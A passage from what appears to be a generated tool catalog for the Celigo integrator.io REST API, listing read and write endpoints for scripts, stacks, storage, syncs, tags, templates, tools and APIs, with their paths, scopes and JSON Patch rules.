/api/v1/celigo/v1/recycleBinTTL/{_resourceType}. Scopes: api. celigo_get_v1_recyclebinttl_by_resourcetype_by_id (read) — Get a deleted resource -- Returns the full document of a specific deleted resource from the recycle bin. May include fields that the list endpoints omit (e.g. `content` on scripts, `queues` on connections). Not supported for `storageitems` — deleted storage item documents are available only from the list endpoints. via GET /v1/recycleBinTTL/{_resourceType}/{_id} GET /api/v1/celigo/v1/recycleBinTTL/{_resourceType}/{_id}. Scopes: api. celigo_get_v1_roles (read) — List roles -- Returns all active roles in the account. Requires account owner or administrator access. via GET /v1/roles GET /api/v1/celigo/v1/roles. Scopes: api. celigo_get_v1_roles_by_id (read) — Get a role -- Retrieves a single role by ID. via GET /v1/roles/{_id} GET /api/v1/celigo/v1/roles/{_id}. Scopes: api. celigo_get_v1_salesforce_metadata_connections_by_id_sobjecttypes (read) — List sObject types for a Salesforce connection -- Returns an array of all sObject type descriptors available on the given Salesforce connection. This is the Salesforce describe-global response, typically containing ~1058 sObject types. via GET /v1/salesforce/metadata/connections/{_id}/sObjectTypes GET /api/v1/celigo/v1/salesforce/metadata/connections/{_id}/sObjectTypes. Scopes: api. celigo_get_v1_salesforce_metadata_connections_by_id_sobjecttypes_by_sobjecttype (read) — Get sObject type detail for a Salesforce connection -- Returns the full Salesforce sObject describe response for the specified sObject type on the given connection. This is a large payload that includes all fields, child relationships, record type info, URLs, and other metadata. via GET /v1/salesforce/metadata/connections/{_id}/sObjectTypes/{sObjectType} GET /api/v1/celigo/v1/salesforce/metadata/connections/{_id}/sObjectTypes/{sObjectType}. Scopes: api. celigo_get_v1_scripts (read) — List scripts -- Returns all scripts in the account. Response omits `content` to reduce payload size. via GET /v1/scripts GET /api/v1/celigo/v1/scripts. Scopes: api. celigo_get_v1_scripts_by_id (read) — Get a script -- Returns a single script by ID, including the full `content` field. via GET /v1/scripts/{_id} GET /api/v1/celigo/v1/scripts/{_id}. Scopes: api. celigo_get_v1_scripts_by_id_audit (read) — Get audit log for a script -- Returns the change history for a script. Each entry records a mutation event with who made the change, when, and which fields were affected. via GET /v1/scripts/{_id}/audit GET /api/v1/celigo/v1/scripts/{_id}/audit. Scopes: api. celigo_get_v1_scripts_by_id_dependencies (read) — List dependencies of a script -- Returns the set of resources that depend on the specified script. via GET /v1/scripts/{_id}/dependencies GET /api/v1/celigo/v1/scripts/{_id}/dependencies. Scopes: api. celigo_get_v1_scripts_by_id_logs (read) — Get debug logs for a script -- Returns console output captured while debug is enabled on the script (`debugUntil` set to a future timestamp). via GET /v1/scripts/{_id}/logs GET /api/v1/celigo/v1/scripts/{_id}/logs. Scopes: api. celigo_get_v1_shared_ashares (read) — List accounts shared with you -- Returns every account that other users have shared with the current user. This is the inverse of `GET /v1/ashares`, which lists users who have access to *your* account. via GET /v1/shared/ashares GET /api/v1/celigo/v1/shared/ashares. Scopes: api. celigo_get_v1_shared_sshares (read) — List stack share invitations -- Returns stack-share records for the current user, including share status, the user who shared, and a stack summary. To list usable stacks directly, use `GET /v1/shared/stacks`. via GET /v1/shared/sshares GET /api/v1/celigo/v1/shared/sshares. Scopes: api. celigo_get_v1_shared_stacks (read) — List available stacks -- Returns every stack the current account can use — both owned and accepted shared stacks. For share metadata (who shared, acceptance status), use `GET /v1/shared/sshares`. via GET /v1/shared/stacks GET /api/v1/celigo/v1/shared/stacks. Scopes: api. celigo_get_v1_stacks (read) — List stacks -- Returns all stacks configured in the account. via GET /v1/stacks GET /api/v1/celigo/v1/stacks. Scopes: api. celigo_get_v1_stacks_by_id (read) — Get a stack -- Returns a single stack by ID. via GET /v1/stacks/{_id} GET /api/v1/celigo/v1/stacks/{_id}. Scopes: api. celigo_get_v1_stacks_by_id_audit (read) — Get audit log for a stack -- Returns the change history for a stack. Each entry records a mutation event with who made the change, when, and which fields were affected. via GET /v1/stacks/{_id}/audit GET /api/v1/celigo/v1/stacks/{_id}/audit. Scopes: api. celigo_get_v1_stacks_by_id_dependencies (read) — List dependencies of a stack -- Returns the set of resources that depend on the specified stack. via GET /v1/stacks/{_id}/dependencies GET /api/v1/celigo/v1/stacks/{_id}/dependencies. Scopes: api. celigo_get_v1_stacks_by_id_systemtoken (read) — Get stack system token (server stacks only) -- Returns the unmasked system token for a server stack. via GET /v1/stacks/{_id}/systemToken GET /api/v1/celigo/v1/stacks/{_id}/systemToken. Scopes: api. celigo_get_v1_state (read) — List global state keys -- Returns all global state key names. Does not return resource-scoped keys — use `GET /v1/{resourceType}/{_id}/state` for those. Lists key names only, not values. Call `GET /v1/state/{key}` to retrieve a specific value. via GET /v1/state GET /api/v1/celigo/v1/state. Scopes: api. celigo_get_v1_state_by_key (read) — Get a global state value -- Returns the JSON value stored under the given global key. Returns the raw JSON value (object or array), not wrapped in an envelope. via GET /v1/state/{key} GET /api/v1/celigo/v1/state/{key}. Scopes: api. celigo_get_v1_storage_files_by_id_download (read) — Get a file download URL -- Returns a short-lived presigned S3 URL for downloading a file's content, along with how many seconds it stays valid. Fetch the bytes directly from that URL — the content does not pass through this API. Files only; folders have no content to download. via GET /v1/storage/files/{_id}/download GET /api/v1/celigo/v1/storage/files/{_id}/download. Scopes: api. celigo_get_v1_storage_items (read) — List or search items -- Browse or search Celigo Storage. In list mode (no `search`), returns the direct children of a folder — omit `_parentId` for the account root — and includes a `breadcrumb` of the path to that folder. In search mode (with `search`), recursively matches item names across the whole account and returns each hit's `location`. Results are paginated with the `Link` response header. via GET /v1/storage/items GET /api/v1/celigo/v1/storage/items. Scopes: api. celigo_get_v1_storage_items_by_id_dependencies (read) — List dependencies of an item -- Returns the resources that reference this item — flows, exports, imports, MCP servers, and access tokens. These references are soft: they never block a delete or move, and go dangling if the item is removed. Check this before deleting or moving an item to see what may break. via GET /v1/storage/items/{_id}/dependencies GET /api/v1/celigo/v1/storage/items/{_id}/dependencies. Scopes: api. celigo_get_v1_storage_items_recyclebinttl (read) — List recycle-bin items -- Lists the items currently in the recycle bin, newest deletion first. Only items deleted directly are listed — descendants removed as part of a folder deletion are hidden, since they are restored or purged with their parent. Each item carries `deletedAt` and `deletedBy`. Restore an item with `POST /v1/storage/items/{_id}/restore` or remove it for good with `DELETE /v1/storage/items/{_id}/purge`. via GET /v1/storage/items/recycleBinTTL GET /api/v1/celigo/v1/storage/items/recycleBinTTL. Scopes: api. celigo_get_v1_storage_usage (read) — Get storage usage -- Returns account-wide storage usage and entitlement, aggregated across all environments: bytes in use (active and recycle bin), the licensed quota, the hard limit at which uploads are blocked, and whether the account is in overage. via GET /v1/storage/usage GET /api/v1/celigo/v1/storage/usage. Scopes: api. celigo_get_v1_storage_usage_environments (read) — Get storage usage by environment -- Returns the same account-wide totals as `GET /v1/storage/usage`, broken down per environment. Use it to see which environment is consuming the account's shared quota. via GET /v1/storage/usage/environments GET /api/v1/celigo/v1/storage/usage/environments. Scopes: api. celigo_get_v1_storageitems_by_id_audit (read) — Get audit log for an item -- Returns the change history for a storage item — creation, renames and description edits, moves, content replacements, downloads, deletes, restores, and purges — newest first. Each entry records who made the change, when, and which fields were affected. via GET /v1/storageitems/{_id}/audit GET /api/v1/celigo/v1/storageitems/{_id}/audit. Scopes: api. celigo_get_v1_syncjobs_by_parentjobid_errors (read) — List errors for a sync job -- Returns an array of error records for the given parent sync job. Errors are produced during extraction or loading and are scoped to individual tables. The response includes an `x-total-count` header with the total number of errors (useful when filtering by child job). Use the `_childJobId` query parameter to filter errors to a single table's child job. Without it, errors across all tables in the run are returned. To find a child job id, call `GET /v1/syncJobs/{_syncJobId}/family` and read `tables[]._id`. Each error also carries a `tableName` field for client-side grouping. The response is a bare array, not wrapped in a `data` envelope. via GET /v1/syncJobs/{_parentJobId}/errors GET /api/v1/celigo/v1/syncJobs/{_parentJobId}/errors. Scopes: api. celigo_get_v1_syncjobs_by_syncjobid (read) — Get a sync job -- Returns a single sync job record. Sync jobs are read-only records created by the platform when a sync run is triggered. The record includes status, timing, record counts, and error counts. A gap between `numExtractedRecords` and `numLoadedRecords` indicates records that failed during loading -- see `numErrors`. via GET /v1/syncJobs/{_syncJobId} GET /api/v1/celigo/v1/syncJobs/{_syncJobId}. Scopes: api. celigo_get_v1_syncjobs_by_syncjobid_family (read) — Get a sync job and its table-level children -- Returns the parent sync job with all of its per-table child jobs inlined under a `tables` array. Each table entry contains its own status, record counts, error counts, and timing. A sync job family maps to one sync execution: the parent is the overall sync job and the children represent each table that was synced as part of that run. Parent-level counters are the authoritative totals; `tables[]` provides the per-table breakdown. `tables` may be empty if the job was canceled before any table work started. via GET /v1/syncJobs/{_syncJobId}/family GET /api/v1/celigo/v1/syncJobs/{_syncJobId}/family. Scopes: api. celigo_get_v1_syncs (read) — List syncs -- Returns all syncs in the account, sorted by name. Filter to one integration with the `_integrationId` query parameter (equivalent to `GET /v1/integrations/{_integrationId}/syncs`). via GET /v1/syncs GET /api/v1/celigo/v1/syncs. Scopes: api. celigo_get_v1_syncs_by_id (read) — Get a sync -- Returns a single sync by ID. via GET /v1/syncs/{_id} GET /api/v1/celigo/v1/syncs/{_id}. Scopes: api. celigo_get_v1_syncs_by_syncid_audit (read) — Get audit log for a sync -- Returns the change history for a sync. Entries cover the sync itself **and** the related resources it depends on — its datasets (the tables being replicated) and the source and destination connections it uses — so a single response interleaves `sync`, `dataset`, and `connection` events. Read `resourceType` on each entry to tell them apart. via GET /v1/syncs/{_syncId}/audit GET /api/v1/celigo/v1/syncs/{_syncId}/audit. Scopes: api. celigo_get_v1_syncs_by_syncid_datasets (read) — List datasets for a sync -- Returns the datasets configured on a sync — the tables/objects it replicates — sorted by name. Export-backed datasets whose export no longer uses the sync's source connection carry `mismatchSyncConnection: true`. via GET /v1/syncs/{_syncId}/datasets GET /api/v1/celigo/v1/syncs/{_syncId}/datasets. Scopes: api. celigo_get_v1_syncs_by_syncid_datasets_by_id (read) — Get a dataset -- Returns a single dataset of a sync by ID. via GET /v1/syncs/{_syncId}/datasets/{_id} GET /api/v1/celigo/v1/syncs/{_syncId}/datasets/{_id}. Scopes: api. celigo_get_v1_syncs_by_syncid_syncjobs (read) — List sync jobs for a sync -- Returns all sync job records for the given sync, ordered by creation time (most recent first). The response wraps the array in a `data` field alongside a `totalCount`. Note: although the response shape suggests pagination (`totalCount`), the `limit`, `offset`, and `status` query parameters are silently ignored by the server as of this writing. The endpoint always returns the complete list of jobs. via GET /v1/syncs/{_syncId}/syncJobs GET /api/v1/celigo/v1/syncs/{_syncId}/syncJobs. Scopes: api. celigo_get_v1_syncs_usage (read) — Get per-sync usage for the current month -- Returns the number of records each sync loaded during the current calendar month (UTC), for the current environment. Only syncs that ran this month appear. Requires account-administration permission (the same level that manages account users); accounts without a Data Ingestion entitlement get an empty `usage` array. via GET /v1/syncs/usage GET /api/v1/celigo/v1/syncs/usage. Scopes: api. celigo_get_v1_syncs_usage_environments (read) — Get sync usage by environment -- Returns the records loaded by syncs during the current calendar month (UTC), broken down by environment — production plus every additional environment in the account. Environments with no runs this month report a volume of 0. Requires account-administration permission (the same level that manages account users); accounts without a Data Ingestion entitlement get an empty `usage` array. via GET /v1/syncs/usage/environments GET /api/v1/celigo/v1/syncs/usage/environments. Scopes: api. celigo_get_v1_syncs_usage_summary (read) — Get monthly sync usage history -- Returns account-wide sync usage by calendar month, newest first — the records loaded across all syncs and environments, alongside the account's Data Ingestion entitlement for each month. History reaches back at most 14 months. Requires account-administration permission (the same level that manages account users); accounts without a Data Ingestion entitlement get an empty array. via GET /v1/syncs/usage/summary GET /api/v1/celigo/v1/syncs/usage/summary. Scopes: api. celigo_get_v1_tags (read) — List the account's tag catalog -- Returns every tag defined in the account, each with its short `tagId` code and human-readable `tag` name. This is the catalog that backs the tag-picker on flow-step errors (`PUT /v1/flows/{_id}/{_stepId}/tags`). The `tagId` field is the short code used as a write-side input on flow-step tag mutations (`PUT /v1/flows/{_id}/{_stepId}/tags` accepts `tagIds: ["NjMMA", ...]`), while the human name is stored on the error record as `tags: ["Ignore", ...]`. via GET /v1/tags GET /api/v1/celigo/v1/tags. Scopes: api. celigo_get_v1_tags_by_id (read) — Get a tag -- Returns a single tag entry by its `_id`. via GET /v1/tags/{_id} GET /api/v1/celigo/v1/tags/{_id}. Scopes: api. celigo_get_v1_templates (read) — List templates -- Returns all templates owned by the authenticated Partner account. The response is a flat JSON array with no pagination. via GET /v1/templates GET /api/v1/celigo/v1/templates. Scopes: api. celigo_get_v1_templates_by_id (read) — Get a template -- Returns a single template by ID. via GET /v1/templates/{_id} GET /api/v1/celigo/v1/templates/{_id}. Scopes: api. celigo_get_v1_templates_by_id_preview (read) — Preview a template's installed resource docs -- Returns the concrete resource documents a template would create if installed. The response is an envelope `{objects, stackRequired}` where `objects` is an array of `{model, doc}` entries — one per resource that the install step would materialize. `stackRequired` is `true` when the template includes NetSuite-distributed resources that need a dedicated stack — the installer prompts for one before the install proceeds. The ID must belong to a Template, not a Connector (Integration App). Connector IDs from `/v1/published` return 404 here -- pull template IDs from the `Template`-typed entries of `POST /v1/published/combined`. via GET /v1/templates/{_id}/preview GET /api/v1/celigo/v1/templates/{_id}/preview. Scopes: api. celigo_get_v1_tokeninfo (read) — Identify the current token's owner -- Resolves a bearer token to the user it authenticates as. via GET /v1/tokenInfo GET /api/v1/celigo/v1/tokenInfo. Scopes: api. celigo_get_v1_tools (read) — List tools -- Returns all tools in the account. Filter by `_integrationId` to scope results to a single integration. via GET /v1/tools GET /api/v1/celigo/v1/tools. Scopes: api. celigo_get_v1_tools_by_id (read) — Get a tool -- Returns the complete configuration of a specific tool. via GET /v1/tools/{_id} GET /api/v1/celigo/v1/tools/{_id}. Scopes: api. celigo_get_v1_tools_by_id_by_stepid_requests (read) — List captured debug requests for a tool step -- Lists the debug request records captured for a specific step of a tool. These are the raw outbound requests the step issued, retained for troubleshooting. Use the `key` of an entry with `GET /v1/tools/{_id}/{_stepId}/requests/{key}` to fetch the full detail of a single captured request. Returns `{requests: []}` when the step has captured no debug requests. via GET /v1/tools/{_id}/{_stepId}/requests GET /api/v1/celigo/v1/tools/{_id}/{_stepId}/requests. Scopes: api. celigo_get_v1_tools_by_id_by_stepid_requests_by_key (read) — Get a captured debug request for a tool step -- Returns the full detail of a single captured debug request for a tool step, identified by its `key`. Obtain the `key` from `GET /v1/tools/{_id}/{_stepId}/requests`. via GET /v1/tools/{_id}/{_stepId}/requests/{key} GET /api/v1/celigo/v1/tools/{_id}/{_stepId}/requests/{key}. Scopes: api. celigo_get_v1_tools_by_id_clone_preview (read) — Preview cloning a tool -- Returns a preview of the resources that would be created by cloning this tool. No resources are created. Call this before `POST /v1/tools/{_id}/clone` to inspect what the clone would create. via GET /v1/tools/{_id}/clone/preview GET /api/v1/celigo/v1/tools/{_id}/clone/preview. Scopes: api. celigo_get_v1_tools_by_id_connections (read) — List connections a tool depends on -- Returns the full Connection resources the tool references — both directly (via `_connectionId` fields on its steps) and transitively through descendant resources (inner tools, lookups, imports, exports). Useful for discovering what systems a tool talks to before cloning, moving, or evaluating the blast radius of a connection change. For the full dependency tree (imports, exports, nested tools), use `GET /v1/tools/{_id}/descendants` instead. via GET /v1/tools/{_id}/connections GET /api/v1/celigo/v1/tools/{_id}/connections. Scopes: api. celigo_get_v1_tools_by_id_dependencies (read) — List dependencies of a tool -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` for both zero-dependency and nonexistent IDs. via GET /v1/tools/{_id}/dependencies GET /api/v1/celigo/v1/tools/{_id}/dependencies. Scopes: api. celigo_get_v1_tools_by_id_descendants (read) — List resources a tool depends on, grouped by type -- Returns the full dependency tree of a tool as three arrays: the `imports`, `exports`, and nested `tools` it references directly or transitively. Each entry is the complete resource document, so the caller doesn't need to fan out individual GETs. Pair with `GET /v1/tools/{_id}/connections` to enumerate the full resource and connection footprint in two calls. via GET /v1/tools/{_id}/descendants GET /api/v1/celigo/v1/tools/{_id}/descendants. Scopes: api. celigo_get_v1_tools_by_id_template (read) — Get a downloadable template for a tool -- Packages the tool as an installable template and returns a signed S3 URL where the template `.zip` can be downloaded. The URL is pre-signed and short-lived (approximately 15 minutes), so fetch the file promptly; call the endpoint again for a fresh URL. The `.zip` contains the tool definition plus every resource it references — nested tools, exports, imports, connections, and scripts — grouped into one folder per resource type, with an `integration.json` manifest at the root. Requires the `create:tool:template` permission. via GET /v1/tools/{_id}/template GET /api/v1/celigo/v1/tools/{_id}/template. Scopes: api. celigo_get_v1_tools_by_id_test_run_by_runid_by_stepid (read) — Get a tool test-run step result -- Returns the stage-by-stage result of a single step from a prior tool test run. Each entry in `stages[]` describes one stage (e.g. `request`, `parse`, `router`, `input`) with its `input`, `output`, and any `errors`. The `runId` is the `flowJob._id` returned by `POST /v1/tools/{_id}/test/run`. The `{_stepId}` is one of the step ids found in that run's `metadata` map. Test-run history is separate from normal run history and is short-lived — fetch step results soon after the run completes. via GET /v1/tools/{_id}/test/run/{runId}/{_stepId} GET /api/v1/celigo/v1/tools/{_id}/test/run/{runId}/{_stepId}. Scopes: api. celigo_get_v1_tools_by_id_test_run_by_runid_by_stepid_logs_requestandresponse (read) — Get request/response logs for a tool test-run step -- Returns the outbound HTTP request/response log pairs captured during a specific step of a tool test run. Only steps that issued outbound HTTP calls (exports, imports, lookups) produce entries — routers, filters, and other in-process stages return `404` with code `req_res_logs_not_found` by design. The `runId` is the `flowJob._id` returned by `POST /v1/tools/{_id}/test/run`; the `{_stepId}` is the export or import id of the step you want logs for, found in the test-run `metadata` map. Response entries may carry base64-encoded JSON in `request.body` and `response.body` — decode string bodies before parsing. Test runs are short-lived ephemeral state, so capture logs soon after the run completes. via GET /v1/tools/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse GET /api/v1/celigo/v1/tools/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse. Scopes: api. celigo_get_v1_tpconnectors (read) — List trading partner connectors -- Returns all trading partner connectors visible to the caller. Published connectors are visible to everyone; unpublished connectors are visible only to their owner. The list response is a summary shape — it includes `_id`, `name`, `_userId`, `helpURL`, timestamps, and the categorization fields (`type`, `region`, `model`, `baseName`) when set, but omits `published` and `supportedBy`. Use GET by ID to retrieve the full configuration. via GET /v1/tpconnectors GET /api/v1/celigo/v1/tpconnectors. Scopes: api. celigo_get_v1_tpconnectors_by_id (read) — Get a trading partner connector -- Returns the complete configuration of a trading partner connector, including all `supportedBy` sections. Unpublished connectors are only visible to their owner. The list endpoint returns a summary that omits `published` and `supportedBy`. via GET /v1/tpconnectors/{_id} GET /api/v1/celigo/v1/tpconnectors/{_id}. Scopes: api. celigo_get_v1_usage (read) — Get usage records (legacy) -- Returns historical usage records for the current account (legacy usage series). The response is an array of monthly records with a duration field (`milliseconds`). via GET /v1/usage GET /api/v1/celigo/v1/usage. Scopes: api. celigo_patch_v1_apis_by_id (write) — Patch an API -- Partially updates an API using a JSON Patch document (RFC 6902). The `replace` operation is supported on the following whitelisted paths (`/logging/debugUntil` also accepts `remove`, which clears an active debug window early): | Path | Description | |------|-------------| | `/name` | API display name | | `/description` | API description | | `/disabled` | Enable or disable the API (boolean) | | `/timeoutPeriod` | Request-timeout override in seconds | | `/pagination/enabled` | Enable or disable the cursor-pagination envelope (boolean) | | `/logging/mode` | Logging level for requests handled by this API | | `/logging/debugUntil` | End of a temporary full-debug capture window | | `/traceKeyTemplate` | Handlebars template that computes each request's trace key | All other paths are rejected with `422`. This is the only way to change `logging` -- PUT silently ignores that field. Logging changes are validated against account entitlements: setting `/logging/mode` to a payload-capturing mode (`standard`, `detailed`) fails with `422` (code `payload_storage_required`) when the account does not have payload storage enabled, and `/logging/debugUntil` has the same payload-storage requirement. Accounts whose license does not include logging, or whose license caps the maximum logging mode below the requested one, are also rejected with `422`. via PATCH /v1/apis/{_id} PATCH /api/v1/celigo/v1/apis/{_id}. Scopes: api. celigo_patch_v1_connections_by_id (write) — Patch a connection -- Partially updates a connection using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted paths: | Path | Description | |------|-------------| | `/name` | Connection display name | | `/debugDate` | Debug logging expiry (ISO-8601, max 1 hour from now) | | `/debugUntil` | Alias for `/debugDate` | All other paths are rejected with `422`. via PATCH /v1/connections/{_id} PATCH /api/v1/celigo/v1/connections/{_id}. Scopes: api. celigo_patch_v1_editransactions (write) — Update part of an EDI transaction -- Partially updates one or more EDI transaction records. Commonly used to update the `faStatus` field (functional acknowledgment status). The endpoint is lenient — when the `ediTransactions` array is empty, missing, or contains IDs that don't match any existing records, the response is `200` with `{"ediTransactions": []}` rather than a 400. Callers should always supply `fileType` and a non-empty `ediTransactions` array for meaningful results. via PATCH /v1/ediTransactions PATCH /api/v1/celigo/v1/ediTransactions. Scopes: api. celigo_patch_v1_exports_by_id (write) — Patch an export -- Partially updates an export using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted paths: | Path | Description | |------|-------------| | `/debugUntil` | Debug logging expiry (ISO-8601, max 1 hour from now) | | `/assistantMetadata` | Assistant metadata object | All other paths are rejected with `422`. via PATCH /v1/exports/{_id} PATCH /api/v1/celigo/v1/exports/{_id}. Scopes: api. celigo_patch_v1_flows_by_id (write) — Patch a flow -- Partially updates a flow using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted paths: | Path | Description | |------|-------------| | `/name` | Flow display name | | `/description` | Flow description | | `/disabled` | Enable or disable the flow | | `/logging/debugUntil` | Debug logging expiry (ISO-8601; the maximum window is license-dependent — 72 hours on standard licenses, 422 beyond the cap) | | `/logging/mode` | Logging mode | | `/runPageGeneratorsInParallel` | Run page generators in parallel | | `/aiDescription` | AI-generated description object | | `/schedule/frequency` | Schedule frequency | | `/schedule/startDate` | Schedule start date | | `/schedule/endDate` | Schedule end date | | `/schedule/days` | Schedule days | | `/schedule/cron` | Cron expression | All other paths are rejected with 422. PATCH is safer than PUT for toggling `disabled` or arming debug logging because it won't accidentally reset other fields. To arm debug logging, `replace` `/logging/debugUntil` with a future ISO timestamp (up to your license's cap — 72 hours on standard licenses); to disarm, set it to a past timestamp or null. via PATCH /v1/flows/{_id} PATCH /api/v1/celigo/v1/flows/{_id}. Scopes: api. celigo_patch_v1_iclients_by_id (write) — Patch an iClient -- Partially updates an iClient using JSON Patch (RFC 6902). Only `/oauth2/failPath` is patchable; use PUT for other field changes. via PATCH /v1/iclients/{_id} PATCH /api/v1/celigo/v1/iclients/{_id}. Scopes: api. celigo_patch_v1_imports_by_id (write) — Patch an import -- Partially updates an import using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted path: | Path | Description | |------|-------------| | `/debugUntil` | Debug logging expiry (ISO-8601, max 1 hour from now) | All other paths are rejected with `422`. via PATCH /v1/imports/{_id} PATCH /api/v1/celigo/v1/imports/{_id}. Scopes: api. celigo_patch_v1_integrations_by_id (write) — Patch an integration -- Partially updates an integration using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted paths: | Path | Description | |------|-------------| | `/settings` | Integration settings object | | `/flowGroupings` | Flow grouping configuration | | `/apiGroupings` | API grouping configuration | All other paths are rejected with `422`. via PATCH /v1/integrations/{_id} PATCH /api/v1/celigo/v1/integrations/{_id}. Scopes: api. celigo_patch_v1_lookupcaches_by_id (write) — Patch a lookup cache -- Partially updates a lookup cache using a JSON Patch document (RFC 6902). Only `replace` is supported, on these paths: | Path | Description | |------|-------------| | `/name` | Cache display name | | `/description` | Cache description | All other paths or operations are rejected. via PATCH /v1/lookupcaches/{_id} PATCH /api/v1/celigo/v1/lookupcaches/{_id}. Scopes: api. celigo_patch_v1_mcpservers_by_id (write) — Patch an MCP server -- Partially updates an MCP server using a JSON Patch document (RFC 6902). Only `/name` and `/disabled` are whitelisted paths — all other paths are rejected with `not a whitelisted property`. via PATCH /v1/mcpservers/{_id} PATCH /api/v1/celigo/v1/mcpservers/{_id}. Scopes: api. celigo_patch_v1_scripts_by_id (write) — Patch a script -- Partially updates a script using JSON Patch (RFC 6902). Only `/debugUntil` is a supported path — all others are rejected with 422. Supported operations: `replace`, `add`, `remove`. The value must be an ISO-8601 timestamp no more than 1 hour in the future. via PATCH /v1/scripts/{_id} PATCH /api/v1/celigo/v1/scripts/{_id}. Scopes: api. celigo_patch_v1_storage_items_by_id_move (write) — Move an item -- Moves a file or folder to a different folder. Metadata only — the content stays in place, the item's `_id` is unchanged so references survive, and quota is unaffected. Moving a folder re-parents the folder immediately and re-anchors its descendants asynchronously, so the response reflects only the moved item itself. A folder cannot be moved into itself or one of its own descendants. via PATCH /v1/storage/items/{_id}/move PATCH /api/v1/celigo/v1/storage/items/{_id}/move. Scopes: api. celigo_patch_v1_storage_items_by_id_replace (write) — Replace file content -- Overwrites an existing file's content in place. Returns presigned upload URLs in the same shape as one initiate-upload file entry; transfer the new bytes to them just as for a new upload. The item's `_id`, name, and folder placement are preserved, so every reference to the file stays intact — use this instead of delete-and-recreate when a file is referenced by flows or exports. The previous content remains downloadable until the replacement finalizes. Rename with `PUT /v1/storage/items/{_id}` instead; this endpoint does not accept a name. via PATCH /v1/storage/items/{_id}/replace PATCH /api/v1/celigo/v1/storage/items/{_id}/replace. Scopes: api. celigo_patch_v1_tags_by_id (write) — Patch a tag -- Partially updates a tag using a JSON Patch document (RFC 6902). Only the `replace` operation is supported, and only on the following whitelisted path: | Path | Description | |------|-------------| | `/tag` | The human-readable tag name | All other paths are rejected with `422`. via PATCH /v1/tags/{_id} PATCH /api/v1/celigo/v1/tags/{_id}. Scopes: api. celigo_post_v1_agents (write) — Create an on-premise agent -- Creates a new on-premise agent. Only `name` is required. The response includes the agent record but not the access token — call `GET /v1/agents/{_id}/display-token` to retrieve the token needed for the agent installer. via POST /v1/agents POST /api/v1/celigo/v1/agents. Scopes: api. celigo_post_v1_apim_by_apiid_by_modelplural_by_id_openapispec (write) — Publish OpenAPI spec to APIM API -- Publishes an OpenAPI specification to an existing APIM API. When a signed URL is not required for the resource type, the server generates the OpenAPI document from the resource. The resource must already be published to the given `apiId` (400 if not). Upstream API management errors may be returned with the upstream HTTP status. via POST /v1/apim/{apiId}/{modelPlural}/{_id}/openAPIspec POST /api/v1/celigo/v1/apim/{apiId}/{modelPlural}/{_id}/openAPIspec. Scopes: api. celigo_post_v1_apim_by_modelplural_by_id_manageapi (write) — Publish resource to new APIM API -- Publishes an integrator.io resource to APIM as a new API. Requires `apim:operations` permission and an enabled APIM license. Custom webhooks (non-integrator-extension) are rejected with 400. Upstream API management errors may be returned with the upstream HTTP status. via POST /v1/apim/{modelPlural}/{_id}/manageAPI POST /api/v1/celigo/v1/apim/{modelPlural}/{_id}/manageAPI. Scopes: api. celigo_post_v1_apim_setup (write) — Set up APIM account -- Provisions APIM for the account with a subdomain and service account email. Processing is asynchronous and returns `202 Accepted` with an empty body. Production environment only. Requires `apim:operations` permission. via POST /v1/apim/setup POST /api/v1/celigo/v1/apim/setup. Scopes: api. celigo_post_v1_apis (write) — Create an API -- Creates a new API. For `script` mode, include `script._scriptId` and `script.function` (the server also copies these to the top level in the response). For `builder` mode, `builder.request` is required (at minimum `relativeURI` and `method`). Builder-mode APIs are created with `logging: {"mode": "basic"}` when the account license has logging enabled -- the request body cannot override this (`logging` is ignored on POST and PUT; change it afterwards with `PATCH /v1/apis/{_id}`). via POST /v1/apis POST /api/v1/celigo/v1/apis. Scopes: api. celigo_post_v1_apis_by_id_clone (write) — Clone an API -- Clones a builder-mode API along with the resources it depends on (such as its backing import) and returns a manifest of every resource created. The request body is required: `version` must be supplied, and the cloned API's combination of `version`, `method`, and `relativeURI` must be unique. Reusing all three returns a 422 `clone_api_already_exists`. Pass `_integrationId` to create the clone inside an integration — when omitted, the clone is created standalone rather than inheriting the source API's integration. Only **builder-type** APIs can be cloned — cloning any other API type returns a 400 `clone_not_supported`. To check for a version/method/relativeURI conflict without creating anything, call `POST /v1/apis/{_id}/clone/validate` first. via POST /v1/apis/{_id}/clone POST /api/v1/celigo/v1/apis/{_id}/clone. Scopes: api. celigo_post_v1_apis_by_id_clone_validate (write) — Validate an API clone -- Dry-run check for `POST /v1/apis/{_id}/clone`. Verifies that cloning the API to the target `version` would not collide with an existing API route — the clone keeps the source API's `method` and `relativeURI`, so the target `version` + `method` + `relativeURI` combination must not conflict with an API that is already registered in the account. Nothing is created or modified. Returns `canClone: true` when the route is free, `false` when it conflicts — pick a different `version` before calling `POST /v1/apis/{_id}/clone`. Only **builder-type** APIs can be validated; a script-type API returns 404, the same as an unknown id. via POST /v1/apis/{_id}/clone/validate POST /api/v1/celigo/v1/apis/{_id}/clone/validate. Scopes: api. celigo_post_v1_apis_by_id_requests_by_executionid_logs_data_query (write) — Query decoded log data for an API trace step -- Returns the decoded request/response payload and error metadata for a record/stage within an API request execution, identified by `_expOrImpId`, `stage`, `groupId`, and `recordId`. If the log content exceeds inline limits or is stored externally, an `externalReference` with an S3 key (and optional byte range) is returned — download it via the signed-URL endpoint. The response may be gzip-compressed. via POST /v1/apis/{_id}/requests/{executionId}/logs/data/query POST /api/v1/celigo/v1/apis/{_id}/requests/{executionId}/logs/data/query. Scopes: api. celigo_post_v1_apis_by_id_test_run (write) — Test-run an API -- Executes the API once in a sandboxed test harness without invoking its public endpoint, and returns the job tree produced by the run. Use this to validate a builder-mode API's request parsing, routing, and response mapping before exposing it externally. The response carries a `metadata` map keyed by step id (each value is the ordered list of stage names that ran for that step), the parent `flowJob`, and the per-step `childJobs[]`. Inspect a specific step's stages with `GET /v1/apis/{_id}/test/run/{runId}/{_stepId}`, where `runId` is the parent `flowJob._id`. Test-run invocations do **not** surface in `GET /v1/apis/{_id}/logs`. via POST /v1/apis/{_id}/test/run POST /api/v1/celigo/v1/apis/{_id}/test/run. Scopes: api. 